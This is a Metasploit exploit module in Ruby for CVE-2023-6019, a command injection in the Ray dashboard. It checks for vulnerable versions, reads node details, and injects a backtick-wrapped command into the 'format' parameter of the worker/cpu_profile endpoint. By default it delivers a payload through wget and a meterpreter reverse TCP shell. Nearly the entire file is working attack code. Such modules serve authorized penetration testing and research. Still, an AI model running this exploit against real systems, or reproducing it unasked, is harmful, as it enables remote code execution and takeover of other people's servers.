##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ray cpu_profile command injection',
'Description' => %q{
Ray RCE via cpu_profile command injection vulnerability.
},
'Author' => [
'sierrabearchell', # Vulnerability discovery
'byt3bl33d3r <[email protected]>', # Python Metasploit module
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6019'],
['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'],
],
'CmdStagerFlavor' => %i[wget],
'Payload' => {
'DisableNops' => true
},
'Platform' => %w[linux],
'Targets' => [
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-11-15',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(8265),
]
)
end
def get_nodes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nodes?view=summary')
})
return unless res && res.code == 200
JSON.parse(res.body)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/version')
})
return Exploit::CheckCode::Unknown unless res && res.code == 200
ray_version = res.get_json_document['ray_version']
return Exploit::CheckCode::Unknown unless ray_version
ray_version = Rex::Version.new(ray_version)
return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3')
@nodes = get_nodes
return Exploit::CheckCode::Vulnerable unless @nodes.nil?
Exploit::CheckCode::Appears
end
def exploit
# We need to pass valid node info to /worker/cpu_profile for the server to process the request
# First we list all nodes and grab the pid and ip of the first one (could be any)
@nodes ||= get_nodes
fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes
first_node = @nodes['data']['summary'].first
fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid')
pid = first_node['agent']['pid']
fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip')
ip = first_node['ip']
print_good("Grabbed node info, pid: #{pid}, ip: #{ip}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded, { pid: pid, ip: ip })
else
execute_cmdstager({ flavor: :wget, pid: pid, ip: ip })
end
end
def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'),
'vars_get' => {
'pid' => opts[:pid],
'ip' => opts[:ip],
'duration' => 5,
'native' => 0,
'format' => "`#{cmd}`"
}
})
end
end